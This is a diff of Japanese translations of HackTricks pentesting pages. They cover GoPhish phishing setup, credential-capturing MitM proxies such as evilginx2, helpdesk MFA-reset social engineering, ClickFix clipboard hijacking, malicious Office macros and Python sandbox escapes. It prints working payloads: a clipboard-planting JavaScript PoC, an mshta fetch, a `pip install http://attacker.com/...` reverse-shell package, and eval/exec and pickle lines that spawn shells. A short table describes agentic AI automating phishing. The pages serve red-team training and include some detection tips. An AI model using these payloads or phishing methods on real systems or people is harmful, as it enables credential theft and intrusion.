![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
> [!TIP]
> "**テストメールを送信**"機能を使用して、すべてが正常に動作していることをテストすることをお勧めします。\
> テストを行う際にブラックリストに載らないように、**テストメールを10分メールアドレスに送信する**ことをお勧めします。
> "**テストメールを送信**"機能を使用して、すべてが正常に動作しているをテストすることをお勧めします。\
> テストを行う際にブラックリストに載らないように、**テストメールを10分メールアドレスに送信することをお勧めします**
### メールテンプレート
@ -339,22 +339,22 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
</body>
</html>
```
**メールの信頼性を高めるために**、クライアントからのメールの署名を使用することをお勧めします。提案:
注意してほしいのは、**メールの信頼性を高めるために**、クライアントからのメールの署名を使用することが推奨されるということです。提案:
- **存在しないアドレス**にメールを送信し、返信に署名が含まれているか確認します。
- info@ex.comやpress@ex.com、public@ex.comのような**公開メール**を検索し、メールを送信して返信を待ちます。
- **発見された有効な**メールに連絡を試み、返信を待ちます。
- **public emails**info@ex.com、press@ex.com、public@ex.comを探し、メールを送信して返信を待ちます。
- **いくつかの有効な発見された**メールに連絡を試み、返信を待ちます。
![](<../../images/image (80).png>)
> [!TIP]
> メールテンプレートでは、**送信するファイルを添付**することもできます。NTLMチャレンジを特別に作成したファイル/ドキュメントを使用して盗むことに興味がある場合は、[このページを読んでください](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md)。
> Email Templateでは、**送信するファイルを添付することもできます**。NTLMチャレンジを特別に作成したファイル/ドキュメントを使用して盗むことに興味がある場合は、[このページを読](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md)。
### ランディングページ
- **名前**を記入
- **ウェブページのHTMLコード**を記入します。ウェブページを**インポート**することもできます。
- **送信されたデータをキャプチャ**と**パスワードをキャプチャ**にチェックを入れます。
- **提出されたデータをキャプチャ**と**パスワードをキャプチャ**にチェックを入れます。
- **リダイレクト**を設定します。
![](<../../images/image (826).png>)
@ -364,7 +364,7 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
> HTML用に**静的リソース**おそらくCSSやJSページを使用する必要がある場合は、_**/opt/gophish/static/endpoint**_に保存し、_**/static/\<filename>**_からアクセスできます。
> [!TIP]
> リダイレクトでは、**被害者の正当なメインウェブページにユーザーをリダイレクト**するか、例えば_/static/migration.html_にリダイレクトし、5秒間**スピニングホイール****[https://loading.io/](https://loading.io)**)を表示し、その後プロセスが成功したことを示すことができます。
> リダイレクトでは、**被害者の正当なメインウェブページにユーザーをリダイレクトする**か、例えば_/static/migration.html_にリダイレクトし、5秒間**スピニングホイール****[https://loading.io/](https://loading.io)**)を表示し、その後プロセスが成功したことを示すことができます。
### ユーザーとグループ
@ -396,7 +396,7 @@ clone-a-website.md
## バックドア付きドキュメントとファイル
いくつかのフィッシング評価(主にレッドチーム向け)では、**バックドアを含むファイルを送信**したい場合がありますC2かもしれませんし、認証をトリガーする何かかもしれません)。\
いくつかのフィッシング評価(主にレッドチーム向け)では、**バックドアを含むファイルを送信する**ことも望ましいですおそらくC2、または認証をトリガーする何か)。\
いくつかの例については、次のページを確認してください:
{{#ref}}
@ -407,32 +407,32 @@ phishing-documents.md
### プロキシMitM経由
前述の攻撃は非常に巧妙で、実際のウェブサイトを偽装し、ユーザーによって設定された情報を収集します。残念ながら、ユーザーが正しいパスワードを入力しなかった場合や、偽装したアプリケーションが2FAで構成されている場合、**この情報では騙されたユーザーを偽装することはできません**。
前述の攻撃は非常に巧妙で、実際のウェブサイトを偽装し、ユーザーが設定した情報を収集します。残念ながら、ユーザーが正しいパスワードを入力しなかった場合や、偽装したアプリケーションが2FAで設定されている場合、**この情報では騙されたユーザーを偽装することはできません**。
ここで、[**evilginx2**](https://github.com/kgretzky/evilginx2)**、**[**CredSniper**](https://github.com/ustayready/CredSniper)および[**muraena**](https://github.com/muraenateam/muraena)のようなツールが役立ちます。このツールは、MitMのような攻撃を生成することができます。基本的に、攻撃は次のように機能します:
ここで、[**evilginx2**](https://github.com/kgretzky/evilginx2)**、**[**CredSniper**](https://github.com/ustayready/CredSniper)および[**muraena**](https://github.com/muraenateam/muraena)のようなツールが役立ちます。このツールは、MitMのような攻撃を生成することを可能にします。基本的に、攻撃は次のように機能します:
1. 実際のウェブページのログインフォームを**偽装**します。
2. ユーザーは**資格情報**を偽のページに送信し、ツールはそれを実際のウェブページに送信し、**資格情報が機能するか確認します**。
3. アカウントが**2FA**で構成されている場合、MitMページはそれを要求し、**ユーザーが入力**すると、ツールはそれを実際のウェブページに送信します。
4. ユーザーが認証されると、(攻撃者として**資格情報、2FA、クッキー、およびツールがMitMを実行している間のすべてのインタラクションの情報をキャプチャ**します。
3. アカウントが**2FA**で設定されている場合、MitMページはそれを要求し、**ユーザーが入力**すると、ツールはそれを実際のウェブページに送信します。
4. ユーザーが認証されると、あなた(攻撃者)**資格情報、2FA、クッキー、ツールがMitMを実行している間のすべてのインタラクションの情報をキャプチャ**します。
### VNC経由
**被害者を元のページと同じ外観の悪意のあるページに送信する代わりに、**実際のウェブページに接続されたブラウザの**VNCセッション**に送信したらどうなりますか?彼が何をしているかを見ることができ、パスワード、使用されているMFA、クッキーを盗むことができます\
もし、**被害者を元のページと同じ外観の悪意のあるページに送る代わりに、実際のウェブページに接続されたブラウザの**VNCセッションに送ることができればどうでしょう彼が何をしているかを見ることができ、パスワード、使用されるMFA、クッキーを盗むことができます...\
これを[**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)で行うことができます。
## 検出の検出
当然のことながら、バストされたかどうかを知る最良の方法の1つは、**ブラックリスト内で自分のドメインを検索すること**です。リストに表示されている場合、何らかの形であなたのドメインが疑わしいと検出されました。\
明らかに、バストされたかどうかを知る最良の方法の1つは、**ブラックリスト内で自分のドメインを検索すること**です。リストに表示されている場合、何らかの形であなたのドメインが疑わしいと検出されました。\
ドメインがブラックリストに表示されているかどうかを確認する簡単な方法は、[https://malwareworld.com/](https://malwareworld.com)を使用することです。
ただし、被害者が**野生疑わしいフィッシング活動を積極的に探しているかどうかを知る他の方法もあります**。詳細は以下に説明します:
ただし、被害者が**野生疑わしいフィッシング活動を積極的に探しているかどうかを知る他の方法もあります**。これは次のように説明されています:
{{#ref}}
detecting-phising.md
{{#endref}}
被害者のドメインに非常に似た名前のドメインを**購入する**ことができます。または、あなたが制御するドメインの**サブドメイン**のために**証明書を生成する**ことができます。被害者のドメインの**キーワード**を含むものです。**被害者**がそれらと何らかの**DNSまたはHTTPインタラクション**を行うと、**彼が積極的に探している**ことがわかり、非常にステルスである必要があります。
非常に似た名前のドメインを**購入する**ことができます。被害者のドメインの**キーワード**を含む**サブドメイン**のために証明書を**生成する**こともできます。もし**被害者**がそれらと何らかの**DNSまたはHTTPインタラクション**を行うと、**彼が積極的に探している**ことがわかり、非常にステルスである必要があります。
### フィッシングの評価
@ -440,7 +440,7 @@ detecting-phising.md
## 高接触型アイデンティティ侵害ヘルプデスクMFAリセット
現代の侵入セットは、メールの誘惑を完全にスキップし、**サービスデスク/アイデンティティ回復ワークフローを直接ターゲット**にしてMFAを打破します。この攻撃は完全に「土地を生き抜く」ものであり、オペレーターが有効な資格情報を持っていると、組み込みの管理ツールを使用してピボットします - マルウェアは必要ありません。
現代の侵入セットは、メールの誘惑を完全にスキップし、**サービスデスク/アイデンティティ回復ワークフローを直接ターゲットにしてMFAを打破します**。攻撃は完全に「土地を生きる」ものであり、オペレーターが有効な資格情報を持つと、組み込みの管理ツールを使用してピボットします - マルウェアは必要ありません。
### 攻撃フロー
1. 被害者の偵察
@ -449,8 +449,8 @@ detecting-phising.md
2. リアルタイムのソーシャルエンジニアリング
* ターゲットを偽装してヘルプデスクに電話、Teams、またはチャットしますしばしば**偽の発信者ID**または**クローン音声**を使用)。
* 以前に収集したPIIを提供して、知識ベースの検証を通過します。
* エージェントを**MFAシークレットのリセット**または登録された携帯番号の**SIMスワップ**を行うように説得します。
3. アクセス後の即時アクション実際のケースで≤60分
* エージェントに**MFAシークレットをリセット**させるか、登録された携帯番号で**SIMスワップ**を実行させます。
3. アクセス後の即時アクション(実際のケースで≤60分
* 任意のウェブSSOポータルを通じて足場を確立します。
* 組み込みを使用してAD/AzureADを列挙しますバイナリはドロップされません
```powershell
@ -476,17 +476,17 @@ Get-MgUserRegisteredDevice -UserId <user@corp.local>
---
## 大規模な欺瞞 - SEOポイズニングと「ClickFix」キャンペーン
コモディティクルーは、高接触オペレーションのコストをオフセットするために、**検索エンジンと広告ネットワークを配信チャネルに変える**大規模な攻撃を行います。
コモディティクルーは、高接触オペレーションのコストをオフセットするために、**検索エンジンと広告ネットワークを配信チャネルに変えた大量攻撃**を行います。
1. **SEOポイズニング/マルバタイジング**は、`chromium-update[.]site`のような偽の結果をトップ検索広告に押し上げます。
2. 被害者は小さな**第一段階のローダー**しばしばJS/HTA/ISOをダウンロードします。Unit 42によって確認された例:
1. **SEOポイズニング/マルバタイジング**は、`chromium-update[.]site`のような偽の結果を検索広告のトップに押し上げます。
2. 被害者は小さな**第一段階のローダー**しばしばJS/HTA/ISOをダウンロードします。Unit 42によって見られた例:
* `RedLine stealer`
* `Lumma stealer`
* `Lampion Trojan`
3. ローダーはブラウザのクッキーと資格情報DBを外部に送信し、その後**サイレントローダー**を引き出し、*リアルタイム*でデプロイするかどうかを決定します:
* RATAsyncRAT、RustDesk
* ランサムウェア/ワイパー
* 永続コンポーネント(レジストリの実行キー + スケジュールされたタスク)
* 永続コンポーネント(レジストリのRunキー + スケジュールされたタスク)
### ハードニングのヒント
* 新しく登録されたドメインをブロックし、**高度なDNS/URLフィルタリング**を*検索広告*およびメールに強制します。
@ -507,27 +507,27 @@ and child_image: *\\*.exe
|-------|-----------------------------|
|自動化|ランダム化された文言とトラッキングリンクを使用して、>100kのメール/SMSを生成して送信。|
|生成AI|公開M&A、ソーシャルメディアの内部ジョークを参照する*一回限り*のメールを生成コールバック詐欺でのディープフェイクCEO音声。|
|エージェンティックAI|自律的にドメインを登録し、オープンソースのインテリジェンスをスクレイピングし、被害者がクリックするが資格情報を送信しない場合に次の段階のメールを作成。|
|エージェンティックAI|自律的にドメインを登録し、オープンソースのインテリジェンスをスクレイピングし、被害者がクリックするが資格情報を提出しない場合に次の段階のメールを作成。|
**防御:**
• 信頼できない自動化から送信されたメッセージを強調する**動的バナー**を追加しますARC/DKIMの異常を介して
**動的バナー**を追加し、信頼できない自動化から送信されたメッセージを強調表示しますARC/DKIMの異常を介して
• 高リスクの電話リクエストに対して**音声生体認証チャレンジフレーズ**を展開します。
• 意識プログラムでAI生成の誘惑を継続的にシミュレートします - 静的テンプレートは時代遅れです。
---
## MFA疲労/プッシュボンビングバリアント - 強制リセット
クラシックなプッシュボンビングに加えて、オペレーターは単に**ヘルプデスクの呼び出し中に新しいMFA登録を強制**し、ユーザーの既存のトークンを無効にします。以降のログインプロンプトは被害者にとって正当なものに見えます。
クラシックなプッシュボンビングに加えて、オペレーターは単に**ヘルプデスクの呼び出し中に新しいMFA登録を強制し、ユーザーの既存のトークンを無効にします**。その後のログインプロンプトは被害者にとって正当なものに見えます。
```text
[Attacker] → Help-Desk: “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?”
[Help-Desk] → AzureAD: Delete existing methods → sends registration e-mail
[Attacker] → Completes new TOTP enrolment on their own device
```
AzureAD/AWS/Oktaのイベントを監視し、**`deleteMFA` + `addMFA`**が**同じIPから数分以内に発生する**場合を確認します。
AzureAD/AWS/Oktaのイベントを監視し、**`deleteMFA` + `addMFA`** が**同じIPから数分以内に**発生する場合を確認します。
## クリップボードハイジャック / ペーストジャッキング
攻撃者は、侵害されたまたはタイポスクワッティングされたウェブページから被害者のクリップボードに悪意のあるコマンドを静かにコピーし、その後ユーザーを騙して**Win + R**、**Win + X**、またはターミナルウィンドウ内にペーストさせ、ダウンロードや添付なしで任意のコードを実行させることができます。
攻撃者は、侵害されたまたはタイポスクワッされたウェブページから被害者のクリップボードに悪意のあるコマンドを静かにコピーし、その後ユーザーを騙して**Win + R**、**Win + X**、またはターミナルウィンドウ内にペーストさせ、ダウンロードや添付なしで任意のコードを実行させることができます。
{{#ref}}
clipboard-hijacking.md

View File

@ -4,11 +4,11 @@
> "自分でコピーしていないものは絶対に貼り付けないこと。" 古いが今でも有効なアドバイス
## 概要
## Overview
Clipboard hijacking 別名 *pastejacking* は、ユーザーがコマンドを検査せずに日常的にコピーペーストする事実を悪用します。悪意のあるウェブページまたはElectronやデスクトップアプリケーションなどのJavaScript対応コンテキストは、攻撃者が制御するテキストをプログラム的にシステムクリップボードに配置します。被害者は、通常は巧妙に作成されたソーシャルエンジニアリングの指示によって、**Win + R**(実行ダイアログ)、**Win + X**(クイックアクセス / PowerShellを押すか、ターミナルを開いてクリップボードの内容を*貼り付け*、任意のコマンドを即座に実行するように促されます。
Clipboard hijacking 別名 *pastejacking* は、ユーザーがコマンドを検査せずに日常的にコピーペーストする事実を悪用します。悪意のあるウェブページまたはElectronやデスクトップアプリケーションなどのJavaScript対応コンテキストは、攻撃者が制御するテキストをプログラム的にシステムクリップボードに配置します。被害者は、通常は巧妙に作成されたソーシャルエンジニアリングの指示によって、**Win + R**(実行ダイアログ)、**Win + X**(クイックアクセス / PowerShellを押すか、ターミナルを開いてクリップボードの内容を*貼り付け*、任意のコマンドを即座に実行するように促されます。
**ファイルはダウンロードされず、添付ファイル開かれないため**、この手法は添付ファイル、マクロ、または直接コマンド実行を監視するほとんどのメールおよびウェブコンテンツのセキュリティ制御を回避します。したがって、この攻撃はNetSupport RAT、Latrodectusローダー、またはLumma Stealerなどのコモディティマルウェアファミリーを配信するフィッシングキャンペーンで人気があります。
**ファイルはダウンロードされず、添付ファイル開かれないため**、この手法は添付ファイル、マクロ、または直接コマンド実行を監視するほとんどのメールおよびウェブコンテンツのセキュリティ制御を回避します。したがって、この攻撃はNetSupport RAT、Latrodectusローダー、またはLumma Stealerなどのコモディティマルウェアファミリーを配信するフィッシングキャンペーンで人気があります。
## JavaScript Proof-of-Concept
```html
@ -26,7 +26,7 @@ navigator.clipboard.writeText(payload)
## ClickFix / ClearFake フロー
1. ユーザーがタイポスクワッティングされたか、侵害されたサイト(例: `docusign.sa[.]com`)を訪れます。
1. ユーザーがタイポスクワッティングされたまたは侵害されたサイト(例: `docusign.sa[.]com`)を訪れます。
2. 注入された **ClearFake** JavaScript が `unsecuredCopyToClipboard()` ヘルパーを呼び出し、静かにBase64エンコードされたPowerShellワンライナーをクリップボードに保存します。
3. HTMLの指示が被害者に次のように伝えます: *“**Win + R** を押し、コマンドを貼り付けてEnterを押して問題を解決してください。”*
4. `powershell.exe` が実行され、正当な実行可能ファイルと悪意のあるDLLを含むアーカイブをダウンロードしますクラシックDLLサイドローディング
@ -55,7 +55,7 @@ powershell -nop -enc <Base64> # Cloud Identificator: 2031
```
mshta https://iplogger.co/xxxx =+\\xxx
```
**mshta** コールは、`PartyContinued.exe` を取得し、`Boat.pst` (CAB) を抽出し、`extrac32` とファイル連結を通じて `AutoIt3.exe` を再構築し、最終的にブラウザの資格情報を `sumeriavgv.digital`流出させ`.a3x` スクリプトを実行する隠れた PowerShell スクリプトを起動します。
**mshta** コールは、`PartyContinued.exe` を取得し、`Boat.pst` (CAB) を抽出し、`extrac32` とファイル連結を通じて `AutoIt3.exe` を再構築し、最終的にブラウザの資格情報を `sumeriavgv.digital`外部送信す`.a3x` スクリプトを実行する隠れた PowerShell スクリプトを起動します。
## 検出とハンティング
@ -76,6 +76,7 @@ mshta https://iplogger.co/xxxx =+\\xxx
## 関連トリック
* **Discord 招待ハイジャック** は、ユーザーを悪意のあるサーバーに誘導した後、同じ ClickFix アプローチを悪用することがよくあります:
{{#ref}}
discord-invite-hijacking.md
{{#endref}}

View File

@ -4,17 +4,17 @@
## Officeドキュメント
Microsoft Wordはファイルを開く前にファイルデータの検証を行います。データ検証は、OfficeOpenXML標準に対してデータ構造の識別という形で行われます。データ構造の識別中にエラーが発生した場合、分析中のファイルは開かれません。
Microsoft Wordはファイルを開く前にファイルデータの検証を行います。データ検証は、OfficeOpenXML標準に対してデータ構造の識別形で行われます。データ構造の識別中にエラーが発生した場合、分析中のファイルは開かれません。
通常、マクロを含むWordファイルは`.docm`拡張子を使用します。しかし、ファイル拡張子を変更することでファイル名を変更し、マクロ実行機能を保持することが可能です。\
例えば、RTFファイルは設計上マクロをサポートしていませんが、DOCMファイルをRTFに名前を変更すると、Microsoft Wordによって処理され、マクロの実行が可能になります。\
通常、マクロを含むWordファイルは`.docm`拡張子を使用します。しかし、ファイル拡張子を変更することでファイルを変更し、マクロ実行機能を保持することが可能です。\
例えば、RTFファイルは設計上マクロをサポートしていませんが、RTFに名前を変更したDOCMファイルはMicrosoft Wordによって処理され、マクロの実行が可能になります。\
同じ内部構造とメカニズムは、Microsoft Office SuiteのすべてのソフトウェアExcel、PowerPointなどに適用されます。
次のコマンドを使用して、いくつかのOfficeプログラムによって実行される拡張子を確認できます
```bash
assoc | findstr /i "word excel powerp"
```
DOCXファイルは、マクロを含むリモートテンプレートを参照することができファイル オプション アドイン 管理: テンプレート 移動)、マクロを「実行」することできます。
DOCXファイルは、マクロを含むリモートテンプレートを参照することができファイル オプション アドイン 管理: テンプレート 移動)、マクロを「実行」することできます。
### 外部画像の読み込み
@ -29,7 +29,7 @@ _**カテゴリ**: リンクと参照, **フィールド名**: includePicture, *
#### 自動ロード関数
一般的であればあるほど、AVがそれを検出する可能性が高くなります。
一般的であればあるほど、AVがそれを検出する可能性が高くなります。
- AutoOpen()
- Document_Open()
@ -71,7 +71,7 @@ proc.Create "powershell <beacon line generated>
#### ドキュメント拡張子
完了したら、**ファイルの種類**のドロップダウンを選択し、形式を**`.docx`**から**Word 97-2003 `.doc`**に変更します。\
これは、**`.docx`**内にマクロを保存できず、マクロ対応の**`.docm`**拡張子には**スティグマ**があるためです(例:サムネイルアイコンに大きな`!`があり、一部のウェブ/メールゲートウェイはそれらを完全にブロックします)。したがって、この**レガシー`.doc`拡張子が最良の妥協案です**。
これは、**`.docx`**内にマクロを保存できず、マクロ対応の**`.docm`**拡張子には**スティグマ**があるためです(例:サムネイルアイコンに大きな`!`があり、一部のウェブ/メールゲートウェイはそれらを完全にブロックします)。したがって、この**レガシー`.doc`拡張子が最良の妥協案です**。
#### 悪意のあるマクロ生成ツール
@ -144,10 +144,12 @@ self.close
**以下のページでこれらのアイデアやその他を確認してください:**
{{#ref}}
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
{{#endref}}
{{#ref}}
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
{{#endref}}
@ -157,6 +159,6 @@ self.close
ハッシュや認証を盗むだけでなく、**NTLMリレー攻撃を実行する**こともできることを忘れないでください:
- [**NTLMリレー攻撃**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
- [**AD CS ESC8 (証明書へのNTLMリレー)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
- [**AD CS ESC8 (NTLMリレーから証明書へ)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -6,7 +6,7 @@
## コマンド実行ライブラリ
最初に知っておくべきことは、すでにインポートされているライブラリを使用して直接コードを実行できるか、またはこれらのライブラリのいずれかをインポートできるかどうかです。
最初に知っておくべきことは、すでにインポートされているライブラリを使て直接コードを実行できるか、またはこれらのライブラリのいずれかをインポートできるかどうかです。
```python
os.system("ls")
os.popen("ls").read()
@ -39,7 +39,7 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
_**open**_ および _**read**_ 関数は、python サンドボックス内の **ファイルを読み取る** ためや、**バイパス**するために **実行** できる **コードを書く** ために便利です。
_**open**_ および _**read**_ 関数は、python サンドボックス内の **ファイルを読み取る** ためや、**バイパス**するために **実行できるコードを書く** ために便利です。
> [!CAUTION] > **Python2 input()** 関数は、プログラムがクラッシュする前に python コードを実行することを許可します。
@ -77,14 +77,14 @@ print(base64.b64encode(pickle.dumps(P(), protocol=0)))
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
パッケージをダウンロードしてリバースシェルを作成するには、こちらをクリックしてください。使用する前に、**解凍し、`setup.py`を変更し、リバースシェル用のIPを設定する必要があります**
ここからリバースシェルを作成するためのパッケージをダウンロードできます。使用する前に、**解凍し、`setup.py`を変更し、リバースシェル用のIPを設定する必要があります**
{{#file}}
Reverse.tar (1).gz
{{#endfile}}
> [!NOTE]
> このパッケージは`Reverse`と呼ばれています。しかし、リバースシェルを終了すると、残りのインストールが失敗するように特別に作成されているため、**サーバーに余分なPythonパッケージがインストールされることはありません**
> [!TIP]
> このパッケージは`Reverse`と呼ばれています。しかし、リバースシェルを終了すると、残りのインストールが失敗するように特別に作成されているため、**サーバーに余分なPythonパッケージがインストールされたままにならない**ようになっています
## Pythonコードの評価
@ -112,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
```
### Pythonコードを評価するための他のライブラリ
### Pythonコードを評価することを許可する他のライブラリ
```python
#Pandas
import pandas as pd
@ -126,7 +126,7 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
```
## オペレーターとショートトリック
## 演算子と短いトリック
```python
# walrus operator allows generating variable inside a list
## everything will be executed in order
@ -135,9 +135,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
```
## エンコーディングを通じた保護の回避 (UTF-7)
## Bypassing protections through encodings (UTF-7)
In [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7は、見かけ上のサンドボックス内で任意のPythonコードをロードして実行するために使用されます:
In [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7は、見かけ上のサンドボックス内で任意のPythonコードをロードして実行するために使用されます
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -178,11 +178,11 @@ class _:pass
```
### RCE オブジェクトの作成とオーバーロード
クラスを**宣言**し、そのクラスの**オブジェクト**を**作成**できる場合、**異なるメソッド**を**書き換え/上書き**して、**直接呼び出すことなく**それらを**トリガー**することができます。
クラスを**宣言**し、そのクラスの**オブジェクトを作成**できる場合、**異なるメソッドを記述/上書き**して、それらを**直接呼び出すことなく****トリガー**することができます。
#### カスタムクラスによるRCE
いくつかの**クラスメソッド**_既存のクラスメソッドを上書きするか、新しいクラスを作成することによって_を修正して、**直接呼び出すことなく**トリガーされたときに**任意のコード****実行**させることができます。
既存のクラスメソッドを上書きするか、新しいクラスを作成することで、一部の**クラスメソッド**を修正し、**直接呼び出すことなく**トリガーされたときに**任意のコードを実行**させることができます。
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -251,7 +251,7 @@ Sub['import os; os.system("sh")']
```
#### 例外を伴うオブジェクトの作成
**例外がトリガーされる**と、**Exception**のオブジェクトが**作成され**、あなたがコンストラクタを直接呼び出す必要はありません[**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)からのトリック):
**例外がトリガーされる**と、**Exception**のオブジェクトが**直接コンストラクタを呼び出すことなく作成されます**[**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)からのトリック):
```python
class RCE(Exception):
def __init__(self):
@ -314,7 +314,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
```
### No Builtins
`__builtins__`がない場合、何もインポートできず、ファイルを読み書きすることもできません。**すべてのグローバル関数**`open``import``print`など)が**ロードされていないため**です。\
`__builtins__`がない場合、何もインポートできず、ファイルを読み書きすることもできません。**すべてのグローバル関数**`open``import``print`など)は**ロードされていない**ためです。\
しかし、**デフォルトではPythonは多くのモジュールをメモリにインポートします**。これらのモジュールは無害に見えるかもしれませんが、その中には**危険な**機能を**インポートしている**ものもあり、それにアクセスすることで**任意のコード実行**を得ることができます。
以下の例では、**無害な**モジュールのいくつかを**悪用**して、内部の**危険な****機能**に**アクセス**する方法を観察できます。
@ -375,7 +375,7 @@ __builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below
```
## グローバルとローカル
## グローバル変数とローカル変数
**`globals`** と **`locals`** を確認することは、アクセスできるものを知る良い方法です。
```python
@ -401,15 +401,15 @@ class_obj.__init__.__globals__
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
```
[**以下により大きな関数があります**](#recursive-search-of-builtins-globals) で、**グローバル**を見つけることができる**場所**を数十/**数百**見つけることができます
[**以下により大きな関数があります**](#recursive-search-of-builtins-globals) で、数十/**数百**の**場所**を見つけることができます**globals**
## 任意の実行を発見する
ここでは、**より危険な機能**を簡単に発見し、より信頼性の高いエクスプロイトを提案する方法を説明したいと思います。
ここでは、**より危険な機能を簡単に発見する**方法を説明し、より信頼性の高いエクスプロイトを提案したいと思います。
#### バイパスを使用したサブクラスへのアクセス
この技術の最も敏感な部分の一つは、**ベースサブクラス**にアクセスできることです。前の例では `''.__class__.__base__.__subclasses__()` を使用してこれを行いましたが、**他の可能な方法**もあります:
この技術の最も敏感な部分の一つは、**ベースサブクラスにアクセスする**ことができることです。前の例では `''.__class__.__base__.__subclasses__()` を使用してこれを行いましたが、**他にも可能な方法**があります:
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -444,11 +444,11 @@ defined_func.__class__.__base__.__subclasses__()
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 